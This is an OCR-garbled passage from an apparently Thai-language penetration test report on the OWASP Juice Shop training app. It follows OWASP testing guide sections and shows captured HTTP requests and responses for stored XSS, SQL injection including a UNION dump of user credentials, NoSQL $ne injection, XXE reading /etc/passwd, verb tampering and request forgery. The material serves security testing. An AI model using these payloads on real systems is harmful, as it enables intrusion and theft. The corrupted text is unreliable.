ength: 233

VSxgrN+r SSSUXWUD YuRmOOLHMFQ"

Date: Mon, 22 Oct 2018 1D0:25:45 GHT

Connection: close

("status"”:"success"
XSS", "description”:
the

shop\ ") </script>”, "updatedAt”:"2018-10-22T10:
createdAt” 18-10-22T10: :44,
:null, "image”:null, "deletedAt":n

ata":("id":3%, "name”:"Im
script>alert (' "XSS in

7382", "price
ull))

< v oo v X £
UM 3.7.4 ds request @319@uAITUIN 13U

o ld. v v 2/ dyﬂ
- navlunvthiruamuaziinena

v €

an
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192.168.99.100:3000 says

3UM 3.7.5 ifin Stored XSS

= v o P~ X '
JUN 3.7.6 AuAaieuazil script o

INPVAL-003 Testing for HTTP Verb Tampering

DELETE method @snsaau Basket auduls (sudla admin #ae)
DELETE method @u1salylaniu CONFIG-006.

admin basket Hvasnasolul

Your Basket (admin

Product Description Quantity Total Price
The t 3 ) 82
230

3U 3.7.7 Audnlu Basket 424 admin

NYU user “Tester@exam.com” aaad1Da basket vpudu (1Wululdlnesneda

2170 IDENT-001)
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Response

i

api/BasketItems/?BasketId=1 HTTP/l.l
192, 1€8.95. 100:3000

User-Agent: Mozilla/5.0 (Win
Gecko/20100101 Fir 2.0
Accept: application/json, text/plain
Accept-Language: en-U 5
Referer: http 66.100:3000
n/json:charset=utf-8

L

x€4;

vs NT 10.0; Winé4;

168.

ati

WN3ZXNzTiviZGFO
SyZCI6ImNIN

2dGFOAXN101Jz
20iLCIWYXNzZ:
F3ZmViZWU1TiviY3J1YXR1ZEFOI301M5AXOCOXMC
S44NIEgKzAwO3IAwIiwidXBKYXR1ZEFOIjoiM)jA: AwC
AvInOsImlhdCIEMTUONDM2OTAOMSviZXhw1joxNTQwNzg3 MDOx

5 E4_QOnuBXyUE

ZPO4AAAD;
INiIsInRS
1ZVihaWvi
mJ 1 Y2 JmOGJ IN2Y2
NzoxMS44NIEgKzAwOIAvIivid

13
viZGFOYSI€eydpZClE
T IYTZhZ

1MIAx
NCO

A
OGFIZmViZWUITiwiYIJIYXRIZEFOI)
1ZEFOIjoiNjAx

HTTP/1.1 200 OK
X-Pover

Options: SAMEORIGIN
ntent-Range: items 0-2/3
ntent-Ty application/jso
ntent-Length: 410
¥/"19a-851yrdPodQ

charset=utf-8

5SA184elejwBTbBK"

Wed, 24 Oct 2018 09:00:34 GAT
Connectio cl
{"status":"success ata”: [("1d": 1, "quantity createdAt” )18-10
~24T04:12:40.4502", "updatedAt”: "2018-10-24T04: 12:40.4502", "Basket Id"

018-10~-24T04:12
. "Proc
40.4902"
t1d”:3)]

, "Product 1), ("ia"
0.4802", "updatedAt”; "2
ctId":2), (#4d":3, "quantity
,"updatedAt”:"2018-10-24T04:1

)

E‘Uﬁ 3.7.8 d9 GET request U8 Basketld 1

\9184 Basketld=1 fdumegviavun 3 items.

DELELTE Basketltem 1,2,3

R Response
] Pocama | Hesduia x| [l et res
|DELETE /api/Basketltems/1 HTTP/1.1 200 OK

Host: 1S2.1¢E8 100:3000

User—Agent: Mozilla/S.0 (Vindows NT 10.0; Win€4: x€4; rv: o)
20100101 Firefox/62.0
application/json, text/plain, */*
en-US, en;
192.1€£8,99.100:3000
application/json;charset=utf-€
Bearer

YZC 16 Tnli N

{20GFjZmViZWULTiwiY3J1YXRIZEFOT 0 iMjAxOCOxMC

OYNCAWODoXNzoxMS44N3 EgKzAvOIAv] iwidXBRYXR1ZEFO 130 1M AXOCOXMCOYNC AwOD:

®NzoxMS44NjEgKzAvOjAvInOs ImlhdC 1EMTUDMDM2 OTAOMS wviZXhwIjoxNTQuMag3 MD

£S_ZB8tL_DEIEPSOCAULVA3 LQYTGNMGT78-CI3811Thzkn-y-E4_QOnuBXyUE
7FELS yz3SwIZ)-SXoZSeNn-UQmérQD 10hsk7Bbgit7g7ht 7Ry NI

3owoSe2Bl14ypZvI12Kg3M3LN70 Imd

wgth: O

nsent_status=dismiss;

BJnrRVAmyqgQlABalHXulhSc3tzuChBO

XvZeKwPDEz1Z7Nas

Admin NAUING basket BB

Quantity

HTTP/1.1
X-Povered-By: Express

SAMEORIGIN
y application/3json;
ntent-Length: 30

ETag: W/" vWFKUuévRvhSyy
Date: Wed, 24 2018 08:2
Connection: close

charset=utf-8

Eun

QNEILl/D
:31 GMT

{"status":"success”, "data”:(})

gﬂﬁ 3.7.9 da DELETE request luéis Basketitem 1 1

Total Price

S kg v
JU# 3.7.10 BuArluaznitgnau

Guest llanunsald DELETE method ffu basket Audulg
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INPVAL-004 Testing for HTTP Parameter pollution

a1 InNMvnaey liwuteslwilas

INPVAL-005 Testing for SQL Injection

WULﬁlaﬁ Login page and Search
Login page: assldiasluludes input email field fae )

Error Tn@duan

{"error*:,{"message”:"SQLITE_ERROR: near \")\": syntax
error®,"stack"."SequelizeDatabaseError: SQLITE_ERROR

near \")\": syntax error\n at Query.formatEmor (/juice-
shop/node_modules/sequelizeflib/dialects/sqlite/query.js:423:16)\n
at afterExecute (fjuice-
shop/node_modules/sequelize/ib/dialectsisglite/query.js: 119:32)\r
at replacement (/juice-

shop/node_modules/sqlite3/lib/trace js:18:31)\n at

Statement errBack (/juice-
shop/node_modules/sqlite 3/lib/sglite3 js.16:21)","name";"SequelizeDatabaseErro arent
("ermo"™:1,"code™"SQLITE_ERROR" "sqI":"SELECT * FROM
Users WHERE email = ") AND password =
'202cb962ac59075b964b07 152d234b70"}, "original ™
("errmo™1,"code™:"SQLITE_ERROR" "sql""SELECT * FROM
Users WHERE email = ")’ AND password =
'202cb962ac59075b964b07152d234b707},"sql":"SELECT *
FROM Users WHERE email = ")’ AND password =
'202ch962ac59075b964007152d234b70™))

i 1

UM 3.7.11 Error gnuansliiiiundsnislddnvseiivay

ANty SQL: SELECT * FROM Users WHERE email = ‘2)’ AND password =
‘HASH’

uangI1lsifing sanitizing (nNs09A1 w30 unludnvszie)

Inject A28 foo* OR 1=1 -

moull SQL fiAndusiwar awnsargszuuilu admin I uassinduluvims
query entry Wsn ¥eAsN ‘Users’ table wag admin account agveausn Avinms

authenticated
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- Search: lda1 “ OR 1=1 -

] a & - o a
JU# 3.7.12 \fim Error 3 (alddnuseiiay

- whAuldlauans error aylseanin LL&iﬁﬂLiﬂlﬂ@ﬁmswﬂw console 84 browser f
AN

- 139 SQL: SELECT * FROM Products WHERE ((name LIKE '%' OR 1=1 --%' OR
description LIKE ‘%' OR 1=1 --%') AND deletedAt IS NULL) ORDER BY name

- apa inject Ingld UNION technique ieorifsdoyaliléunntu

- ")) UNION Select * From Users--

] a ] o
5Ufl 3.7.13 Error 8ndlandnumileiilésy

- error message UMNEHY 1316049 select 91U column TinuNS select Suusn

(Products table)

- 14 ORDER BY Tun1smind1uau column # query Tu product Husivinlws



a7

) Order by 5-- Q, search B

Its ")) Order by 5--

-

g‘uﬁ 3.7.14 WAAWSHAINTT Inject A28 Order by 5

- ORDER BY 5 §3a4 query aanunlsog

v

OWASP Juice Shop v7.4.1

*)) Order by 10-- Q Search

Search Results ) Order by 10--

x 0 lements Console Sources Network Performance Memory Applicatior Security Audit
T ® tor v fa gls v & ) ar
© »GET hitp://192.168.99.100:3000/rest/product/ search?q=%27))%200rderX20byX2610-- 500 (Int al Serve
v /
» error: {message: I ERROR t OR BY t t of range be betwee ar W, k ué abaseError: SQLITE_ERROf
> object

g‘uﬁ 3.7.15 HAAWSHAINAS Inject A28 Order by 10

- ORDER BY 10 fia error ¥u ynns1U3 U column S8Usaswal (aviua 8)
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) AND 1=2 UNION Select 1,2,3,4,5,6,7,8 From Users--

')) AND 1=2 UNION Select - Q Search

*)) AND 1=2 UNION Select 1,2,3,4,5,6,7,8 From Users--

5U 3.7.16 HadWSWAINS Injection (select 1,2,3,..)

finsuansmaorlsunsegiseenin  MnAidunevewudl Select 2,34 awnsauand
onuivile

Tugies Product ua Price anansamawladn Wudesiisua intecer Tuduves
Description 819tfufndu 1wy String

wnuiigedees column lumsne Users et id, email, password (31931310 error

Tumiin login)

")) AND 1=2 UNION SELECT 1,id,email,password,5,6,7,8 From Users--

’)) AND 1=2 UNION [Select @ JSEEte 3 4

arch Results ') AND 1=2 UNION SELECT 1,id,email password,5,6,7,8 From Users--

F-
=
[
-
-
=
"
"

JUT 3.7.17 waawsnasaInyin Injection d139
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NoSQL injection

199 PATCH method uudau edit review (comments)

Made my day

A suomit

JUN 3.7.18 minsauAily review

- ludu Body i 2 parameters #9 id fiu message.

- f s " L
PATCH /rest/product/reviews HTTP/1.1

Host: 192.16€8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4; rv:i&62.0) Gecko/20100101 Firefo:
A t: application/json, text/plain, */*

t-Language: en-US,en;qg=0.5

Referer: http://182.168.99.100:3000

Content-Type: application/json:charset=utf-8

Authorization: Bearer

eyJhbGeciOiJSUzIINiISInRScCIE IkpXVCJIS . eyJ zdGFOAXMiOiJzdWN) ZXNzIiwiZGFOYSI€eyJpZCl60SwiZWlhaWvwiOiJUz
Avliwic kYXR1ZEFOIjoiMjAxOCOxMCOyOSAwNjozMzozNC4 INjggKzAwOjAwIn0s ImlhdCIEMTUOMDcSNDgxOSwiZXhwljo»
TBA3cEQ2ZaHJgSthJRweO cGYINj3JdxkB8mUzHNuSbclSaXRZE

Content-Length: 50 T

okie: cookieconsent_ status=dismiss; continueCode=gyb34EjXvDNSqlS5aPdvmH4uShOcWIlTeiVivulhbTBAlzlr
token=eydhbGciOiJSUZIINLiIsInRScCIETkpXVCJIS. ey GFOdXMiQidzdWNIZXNzIiwiZGFOYSI€EeyJpZCI€0SviZWlhaWy
KzAvOjAvIiwidXBkYXR1ZEFOIjoiM3j OCOxMCOyOSAwNjo zozZNC4INjggKzAvOjAwInOs ImlhdCIEMTUOMDcSNDgxOSwiZ>
xWzGJhTBA3cEQZZaHJgSthJRweO cGYZNJj3JIxk8mUzHNuBbclSaXRZE

Connection: close

{("id":"q4A3kAiznPxS4K3Fc", "message": "Made my day"}

3UT 3.7.19 da PATCH request

“message” AB3INNTNTBuatlU dau “id”urazilu id ves review section.
& 2/ A 1 1 4 Q‘; 124
Inject ¢t operator Nivzvau comment lavisualasly not equal (Sne).

{"id"{"$ne":null},"message":"Bad product. Low quality"}
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Request Response

Params | Headers | Hex |

uct/reviews HTTP/1.1 I
.100:3000 . To—
z111a/5.0 (Vindows NT 10.0: Vinéd: x&4: rv:E2.0) Gecko/20100101
application/json, t LA

Accept-Language: en-US,en:

Referer: http 162, 168.99. 1 nosniff

Content-Type: application/json;charset=utf-8 SAMEORIGIN
application/json; charset=utf-8
2500

W/"9c4S8Y6ASoJPOBBIDOYOpezVxmFE"
Mon, 29 Oct 2018 07:33:21 GMT
close

tatus=dismiss;
NSq2 SaPdvmH4uShoc!

oduct "_id":"owdsrACdJSBogilem”) , { "product”
ade my

g ", "author”: "Tester@exam.com”, " id":"q4A3kAiz
XR1ZEFOI3 xG4K3Fc") ], Fupdated” s message": "Ead
NTQWODEy: product. Low

u quality”, "author":"mc.satesearchfjuice-sh.op”,"

OSwiZVlhaWv
32mViZVULI w1
01M) AXOCOXNCC

SwiZ)

DES2Q. U PPAIbTOLP

YTARIISYT : okt product”: 1€, ”_1id":*ECPEGLTaLvIJatIy4”), | "messag

RZE P e":"Bad product. Low

Eolnection: clone ¢quality”, "author”:"jim@juice-sh.op”, "product®: 1
§,"_id": TEB") , :"Bad

product. Low

Am Tl W e R W Wasdemi w840 ek AR Fasmdie

311‘*7; 3.7.20 d4 PATCH request w35au311 NoSQL Injection

Ll

("4a":({"Sne":null}, "message”: "Bad product. Low gquality”)

INPVAL-006 Testing for LDAP Injection

- Not found

INPVAL-007 Testing for ORM Injection

- Seem not found

INPVAL-008 Testing for XML Injection

- Wil file upload

31]‘7; 3.7.21 i1 File upload

- gwilsuianalwd pdf sxiluanafisanouny1n Wepdnilu “choose file”
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File name: || ~|  PDF File (pdf) v

sUM 3.7.22 fidenanalwaalsi upload

@4 upload analndduag wwu .txt

plaint

Forbidden file type. Only PDF allowed.

Customer

Message

3U7 3.7.23 uds upload Wdldudana PDF winiu

ap3ah element

y 1 -
v<div class-"container-fluid well
: :before
» <di lass="row
P cdiv class-"row">..</diy
v<ddiv cls row
rbefore
v «di lass-"form-group
abel for-“file" tra ate LABEL_TNVOICE ASS- ng-scope
Invoice

input type-"file" ngf-select ng-model-"file" id-"file" name
file" ngf-pattern-"'.pdf,.xml'" ngf-accept-"'.pdf'" ngf-max-
size-"100KB" class- ‘ng-empty ng-touched ng-dirty ng-invalid
ng-invalid-pattern ng-valid-parse” accept-".pdf" style» == $o
after

aiv

3‘1]17; 3.7.24 inspect ﬁ'ﬂu Choose file

ngf-pattern=".pdf,.xm(" MeH aigig'mlﬁ upload PDF wag XML documents W

ngf-accept="pdf" 1uuAnassuuzihmsidonindnazsnivanvintiu auiisilaiiv

A NAANIYY choose file
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External entities avUafU XML parser 19id1 access 14 resource 7itsua1zadlalay

URI(Universal Resource Identifier)

Juazuenly server N0 external entity file:///etc/passwd E)g'luc?f’ul.lli xxe

.! XXEtry.xml - Notepad

File Edit Format View Help
k?xml version="1.8" encoding="UTF-8"2>
<IDOCTYPE foo [
<!ELEMENT foo ANY >

gﬂﬁ 3.7.25 sreazasidenilu XML Tnd

Request fu Response tHusaneluil

Request:

POST /file-upload HTTP/1.1

Host: 192.168.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4: x€4; rv:€2.0) Gecko/201
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://182.168.86.100:3000/

Authorization: Bearer
eyJhbGei0iJSUZTINLiISInRScCIETkpXVCIS . eyJ zdGFOAXMi0iJzdWNI ZXNZ I iwi ZGFOYST
AvIividXBkYXRIZEFOIjoiMjAxOCOxMCOzMCAwODo2ZNDozNC400ODMgKzAWOjAwIn0s ImlhdC
iBSB84cYRZuox2S-LATIXk_plmLQbytRudGGkrfVUuvifwiYzs

Content-Type: multipart/form-data: boundary 1
Content-Length: 333

Cookie: cookieconsent status=dismiss; continueCode=JgKjvqaNmwrPRED20XaHN
token=eyJhbGciOiJSUzIINiIsInRScCIEIkpXVCIS. eyl zdGFOAXMiOiJzdWNI ZXNzTiviZ
KzAvOjAvIividXBkYXR1ZEFOIjoiMjAxOCOxMCOzZMCAwODO2ZNDozNC400ODMgKzAWOjAvIn0s
4€XdaJ1iBS84cYRZuox2S5-LATIXk plmLObytRudGGkr fVUuwOtw3Yzs

Connection: close

——— LEL708819104¢€
Content-Disposition: form-data; name="file"; filename="XXEtry.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?7>
<!'DOCTYPE foo [
<'ELEMENT foo ANY >
<'ENTITY xxe SYSTEM "file:///etc/passwd” >]><foo>&xxe;</foo>
———————— 1€17088191046--

3V 3.7.26 upload Tnd XML

<IENTITY xxe SYSTEM "file:///etc/passwd” >]><foo>&xxe;</foo>
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Response:

HTTP/1.1 410 Gone

X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
Date: Tue, 30 Oct 2018 10:42:22 GHNT
Connection: close

Content-Length: 1444

{
*error”: {
"message”: "BZB customer complaints via file upload have been deprecated for security reasons: <?xml
version='"1.0\" encoding=\"UTF-8'"?><'!DOCTYPE foo [<'ELEMENT foo ANY><'ENTITY xxe SYSTEM
\"tile:///etc/passvd\ ">]><too>
"
.

"stack”: "Error: B2B customer complaints via file upload have been deprecated for security reasons: <?xml
version=\"1.0\" encoding=\"UTF-8\"?><'DOCTYPE foo [<'ELEMENT foo ANY><'ENTITY xxe SYSTEM
"file:///etc/passvd) ">]><foo>root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemo...
(XXEtry.xml) \n at /juice-shop/routes/fileUpload.js:31:1€\n at Layer.handle [as handle_request]
i/Anira—ahan/nads madnlee/avnreea/lih/ranrar/laver 4e:G5:8i\n ar navr

g‘llﬁ 3.7.27 HAAWSYAIN1TH1 XML eXternal Entity attack

1189910 response NAUNINIY 410 A1AAN IWa xml Hllausadnfislasnseluudn

i Ll

wisgnaosisnladeyanduan uazigaudadn ddodus XXE

INPVAL-009 Testing for SSI Injection

Not detected

INPVAL-010 Testing for XPath Injection

liwudaslm

INPVAL-011 IMAP/SMTP Injection

13if] mail server

INPVAL-012 Testing for Code Injection

19 0S command Taaslulu input field wade Liflezlsiiniu

. 3 | a sdd v o Alu
Local File Inclusion: ldwunwisiimesinetesiu filename (parameter Nlnas:
g, d, name)

Remote File Inclusion: naawswisiauiu Local File Inclusion
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INPVAL-013 Testing for Command Injection

- waanwsmlounu Local File Inclusion laiwu parameter

INPVAL-014 Testing for Buffer overflow

- Response 413 @W1103U\as request

INPVAL-015 Testing for incubated vulnerabilities

- File upload 81989910 INPVAL-008 Wiulestianansa upload lalawg pdf uaz xml

Jewaemnasu upload Iditlally pdf

- Craft POST request enlnanlwa .txt

POST /file-upload HTTP/1.1
Host: 192.1€8.99.100:3000
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Viné4; x€4; rv:£62.0)
Gecko/20100101 Firefox/€2.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://192.168.99.100:3000/

Authorization: Bearer

eyJhbGei0iJSUZTINLISInRSCCIE IkpXVCIS, eyJ2dGFOAXNi01J2dWNI ZXN2 1iwi2GFOYS16eyd
pZCTEOSViZV1haUvwiOLJUZXNOZXIAZXhhbSSIb20iLCIwTXNZAZSy2CTE IMNIMDN IN2Q3 YTZhZmd
AY20mOGJ INzY2OGF ) ZmViZWULTiviY3J1YXRIZEFO 1301 M) AxOCOXMSOUNSAWNZoONToONi4xNTC
gEzZAVOIAVI iwidXBkYXR1ZEFO T30 iM)AxOCOxMSOWNS AwN 200N ToON i4xHTegKzAvOj AvInOs Iml
hdCIEMTUOMTQUNIEAMCwiZXhwijoxNTQxND IONTgwEQ. VKN-sVDSq4WQ1HETks2 xB IS AaFpRDgxu
EOGZiVBEJZK13TupjtoRl ITS ze ImNg 7! 2KpbOA 3K39md—_Q2ZGBdo2p3GF
LHyTCRH-509tdSpB9 TuéSs1AnS Yn7cXkSOCSNMXBYSr OVF eEO iqUSJOADRVEHGTS

Content-Type: multipart/form-data;

HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN
, Date: Mon, 0S5 Nov 2018 08:03:08 GNT
i | Conmnection: close

Y 2595322731862

Content-Length: 207

Cookie: cookieconsent status=dismiss;

cont inueCode=JgKjvqaNmwr PRED20OXaHNuVh1cS I Te iSfvukhDTACqnALVX8QzVOXekYSYB
10=e00DCHr Y£29KECKVAAAT;

token=eyJdhbGc10iJSUzTINLiIs InRScCIEIkpXVCIS, eyd zdGFOAXM10iJ 2dWNI ZXN2 Tivi2GFOY
S16eydpZCIEOSwiZV1lhaWviOLiJUZXNOZXJAZXhhbSSIb201LCIWYXNZd2Oy2CTE ImNIMDNINZQ3Y
TZhZmJ 1 Y2 JImOGJ IN2 Y2 OGF ) 2mViZWULTiwiY3J1TXRI ZEFOTJ0 1M AxOCOXxMSOuNSAwNzoONToON
14xMTcgKzAvOJAVIividXBKYXRIZEFOI o iM)AXxOCOxMSOWNSAwWNZoONTOOM14xNTegRzAWOIAW]
n0s ImlhdCIEMTUONTQUN)E4NCwiZXhwI)oxNTOXND IONTgwEQ. VKN-sVDSq4VQLHE TkaZ xBISAaF
PRDGXUEOGZ1VEEJZK13 TupItoRhSPB) TY ze IniNq7 ShSz Qw2 KpbOAJRGNQGEVKD3IKI9md - QZGBd
02p3GFLHYTCRH-509tdSpBS IuéS1AnSYn7cXkSOC SNNxBYSrOvFeEOQ iqUSJOADRVEHGTS
Connection: close

2585322731862
Content-Disposition: form-data; name="file"; filename="Hello.txt"
Content-Type: application/txt

HELLO I'm text

2595322731862--

3UT 3.7.28 wadwswasdedwivanlwdana .txt

- wadwsAe aunsavhlel response 204 ndUN wARYIIEWSA upload @nalnalaei

16 (script 3@ malicious file).

INPVAL-016 Testing for HTTP Splitting/Smuggling

' ' R v o ' [ ' o vy
- s ladananse split 161 iesanlianunse 19 %0D%0A uusussviala
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3.8 Testing for Error Handling (OTG-ERR)

ERR-001 Analysis of Error Codes

0 D ' v . .
- Error YIABUYLAEINDN1ITVATDIUBYA (leak information)

- /ftp

Juice Shop (Express ~4.16)

403 Error: Only .md and .pdf files are allowed!
at verify (/juice-shop/routesffileServer js:29:12)

at /juice-shop/routesffileServer.js:12:7

at Layer.handle [as handle_request] (fjuice-shop/node_modules/express/lib/router/layer js:95:5)
at trim_prefix (/juice-shop/node_modules/express/iib/router/index js:317:13)

at /juice-shop/node_modules/expressliblrouter/index js:284:7

at param (/juice-shop/node_modules/express/lib/routerfindex.js:354:14)

at param (/juice-shop/node_modules/express/lib/routerfindex.|s:365:14)

at Function process_params (fjuice-shop/node_modules/expressiiib/router/index.js:410:3)

at next (fjuice-shop/node_modules/express/lib/routerfindex.is:275:10)

at /juice-shop/node_modules/serve-index/index. js: 145.39

at FSReqWrap.oncomplete (fs js:171:5)

< 4 o gl =
UM 3.8.1 Error Wayims access fsanalvdduuanvile .md, .pdf

SQL

{"emor”:{"message™"SQLITE_ERROR: near \")\": syntax
error”,"stack™"SequelizeDatabaseError: SQLITE_ERROR

near \"\\": syntax error\n at Query.formatError (fjuice-
shopinode_modules/sequelize/lib/dialects/sqlite/query js:423:16)'n
at afterExecute (/juice-
shop/node_modules/sequelize/lib/dialects/sqlite/query js:119:32) r
at replacement (fjuice-

shop/node_modules/sglite3/lib/trace js:19:31)\n at
Statement.errBack (/juice-
shop/node_modules/sqlite3/lib/sqlite3./s:16:21)","name™:"Sequeli7eDa
{"ermo™:1,"code™: "SQLITE_ ERROR","sql":"SELECT * FROM
Users WHERE email = ") AND password
‘202ch962ac50075b964b07 1524234b70™), "original®
{"ermo™:1,"code"."SQLITE_ERROR","sqi"."SELECT * FROM
Users WHERE email = )" AND password =
'202cb962ac59075b964b07 152d234b 70"}, "sqi*:"SELECT *
FROM Users WHERE email = ") AND password =
'202¢b962ac59075b964b07152d234b70™})

31] 3.8.2 Error stack trace i1 login
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v {error: {.}}
werror:
message: "SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns"
name: “"SequelizeDatabaseError™
»original: {errno: 1, code: “SQLITE_ERROR", sql: “SELECT * FROM Products WHERE ((name LIKE 'X')) UNI.m Users--X') AND deletedAt IS NULL) ORDER BY name
» parent: {errno: 1, code: "SQLITE_ERROR", sql: “SELECT * FROM Products WHERE ((name LTKE '%')) UNL.m Users--%') AND deletedAt IS NULL) ORDER BY name"]
sql: "SELECT * FROM Products WHERE ((name LIKE '%')) UNION Select * From Users--%' OR description LIKE '%")) UNION Select ™ From Users--X') AND delet
stack: “SequelizeDatabaseError: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns« at Query.form:
» _ prot : Object
» _prot : Object

gﬂﬁ 3.8.3 Error stack trace %1 search

- Authorization Header

’ @ Not secure | 192.168.99.100:3000/api/Users

Juice Shop (Express ~4.16)

401 UnauthorizedError: No Authorization header was found

gﬂﬁ 3.8.4 Error Wenn9n15lsidl Authorization header

ERR-002 Analysis of Stack Traces
- SQL stack trace luta 001

3.9 Testing for weak Cryptography (OTG-CRYPST)

CRYPST-001 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer
Protection

- 1aidl HTTPS (a8

- {lm¥h Basic authentication over HTTP na13fe Credential 3¢gn encode aglu

| [ ' P ' -
JWT winliidaeezlsedd 1eswnluilinig encryption

CRYPST-002 Testing for Padding Oracle

- 1sifl encryption l4ifl padding
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CRYPST-003 Testing for Sensitive information sent via unencrypted channels

; . " 1 dvy v .
- Basic Authentication over HTTP: atanlananilulude 001 Credential %ag’lu
Authorization header wag encoded aq’tugULL‘UU JWT gndssity HTTP Laifinng
] o v oo o v P~ -
encryption lagfi@mnsn  decode oonula YIILUVBYAN  sensitive ag’lu

credential 1%u id, email, password (luguwuu hashed) wag header 1l Al

Token 8nf7y Fefioadunssaunidlalilinis encryption

3.10 Business Logic Testing (OTG-BUSLOGIC)

BUSLOGIC-001 Test Business Logic Data Validation

- % IDENT-002 n15 validate email tintufitunanisasins email 3ndudssiiowar
MuMednusyeEties 1M uiawmsaunluAlan intercept proxy (Burp suite)

wardsly W@iesnuansula viliiia email Yaouilill @example.com tae

- wanedn llasinnsmsivasunile Server Lag

Email address is not valid.

NotRealEmail12@
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POST /api/Users/ HT?‘I'P/ 1.1

Host: 192,1€8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€2.0) Gecko/20100101 Firefox/&2.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://1S2.168.99.100:3000/

Content-Type: application/json;charset=ucf-8

Content-Length: 238

Cookie: cookieconsent status=dismiss; continueCode=MbkEYoSp8JnrRV4myqgQlABaHXulhS5c3£zuQhBO3Xv2eKwPDEz1Z7NaSWiBx;
1i0=3Ytq7iqlbJdptIbclAAAb

Connection: close

{"email”:"| . "passwvord”:"12345", "passvordRepeat”:"1234", "securityQuestion":{"id":7, "question":"Name of your
favorite
pet?”, "createdAt”:"2018-10-11T03:23:16.207Z", "updatedAt”: "2018-10-11T03:23:1€.2072"), "securityAnsver": "Doge"}

3U 3.3.8 970 IDENT002

BUSLOGIC-002 Test Ability to Forge Requests

- 9InM5m@ Password change function Tu AUTHN-009 151@1115a%i1 CSRF 161 g

nsAnparameter ‘current’ a8n wazdslinu Users laquasiuiindn password ves

& < < ° L) = . | a &
user 1u azgnivasulUmuiisivuaiui Jududebinisifnty

Request ' Response
— " =

| ors | Hx |
G g HT S\ % °|& | HTTP/1.1 200 OK
Host: 192.168.9S.100:3000 X-Povered-By: Express

User-Agent: Mozilla/5.0 (Windows NT 10.0:; Vin€4; x€4; t£v:€2.0) Gecko/20100101 3 Access-Control-Allow-Origin: *

Firefox/E2.0 X-Content-Type-Options: nosniff

Accept: application/dson, text/plain, */+% | X-Frame-Options: SANEORIGIN

Accept-Language: en-US,en:q=0.5 4 Content-Type: application/json; charset=utf-8

Referer: http://192.1€8.99,100:3000/ Content-Length: 1€9

Cookie: cookieconsent status=dismiss; ETag: ¥/"aS-ZtofkCdj¥3vLEBEgON+0YB8Ig04"
cont inueCode=MbkEYoS5p8JInr RVAmyqgQlABaHXulhSc3 £2uChBO3 Xv2eKvPDEz 127NaSWiBx Date: Tue, 16 Oct 2018 10:58:53 GMT
10=HEt u4HmGNhENPA7UAAAS ; . Connection: keep-alive

token=eyJhbGc 101JSUZIINL IS TARScCIEIkpXVCIS . eyJ zdGFOAXMI0102AWN] ZXNz TiwiZGFOYS1Eeydp
ZCTIEMSwiZV1lhaVviOidhZGlpbkBgdWl)251zaC5veC Is InBhe3N3b3IkIjo A NDESMIAYM2E3 Ymd kN NyNTA
ANTZmMDYSZGYxOGTIAMDAILCI)emVhdGVRkQXQi01 IyMDEALTENLTES IDAZOIELOI Q4L MzNSAr MDAEXDALLC
J1eGRhAGVEQXQ101 IyMDE4LTEVLTEZ IDAZO3E L0 Q4L NeNSAr MDAEMDAL £SwiaWFO I oxNTMSNY c3N) YOL
CJ1eHAiOJEL1Nzk2OTUZNIRS. JtKPnlySamBcoStged ijNsORvNY-Xr wUE1S_CGDXFTS4yJiU7aVLrUEvX22
_tKSSsNIGbHOn3 aK2e£GGLr 000kGIUZ4C) E2qNKMeJLEVROKOZ) i0npGaZp IVATItJUFBLESOEnT2YOWe yE
[LNCRZFTwe 1fLP1s4ulNp vKcK4yGO

Content-Length: 2

("user”:("id":1l, "email”:"adminfjuice-sh.op”, "password”
:"B0396443£055=a0c4£d97 1%ecefoclSa”, "createdAt”: 2018
~-10-1€T03:15:48,3352", "updatedAt”: "2018-10-16T10:58:5
3.0702"))

31]‘7‘! 3.10.1 n15 forge request

BUSLOGIC-003 Test Integrity Checks
- @adeamsuden Quantity vesdufmeudsde

° v a o & a oA v % | v o 1
- UIURUAIIILANTD a']u'\iﬂ‘,wu“iaaﬂlﬂ '[umﬂi’l luaﬂuﬁiﬂaﬂlﬂmﬂﬂ’m 1

S ada a ° W7 i n o
= VjﬂﬂiQV‘quwsaaﬂ‘ﬂququaUﬂq A1 Total price wiasuLUasnl
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W Checkout &2 =5

o
JUN 3.10.2 Teaziduaduailunznii

Intercept proxy AOUNNAUY 1AIoaA IMUIUAUA

Ttems/11 HTTP/1l.1l
00:3000

5.0 (Vindows NT 10.0: Viné4: x&4: rv:€2.0) Ge
n/json, text/plain, *

:q=0.5

100:3000/
application/json;charset=utf-8

ko/20100101 Firefox/&2.0

Bearer

zZTINiIsSInRScCIETIRpXVCIS . eyJzdGFOAXMiOiJzdWN) ZXNzIiwiZGFOYS1EeyIpZCIEOSviZW1lhaWwiOiJUZXNOZXI )
XR1ZEFOIjoiM) AxOCOxMSOwWNyA )ONjo LM ZXhwIjoxNTQxNT]
YPJF3itLr_ REfBO7MT1IDNEjwbCgt31YSKpGDdmmk

ent_status=dismiss: c b 1DgzV10L3 dgéHgulhNcaINTz i XEDUBhNC
SUzT1NilsInRS5cC JzAWNI ZXNzTiwiZGFOYSIEeyJpZClE
> (R1ZEFOTjoiM3 MTcgKzAwOjAwInOs ImlhdC IEMTUDMTU4MDOx
MbOYPJFjtLr REBOC
s

nESVBAKSKRwv:
ha¥ .

3% MS0OwNyAWOD« ol
MT1DNEJwhCgt3 L YSKpGDdmmk

{"quantity®:2)

3UN 3.10.3 request MIlNATUNA +, -

fin15de PUT request wieu sruin@uailu Body, apaunsruauduaidu 0 fu e
fnau ()

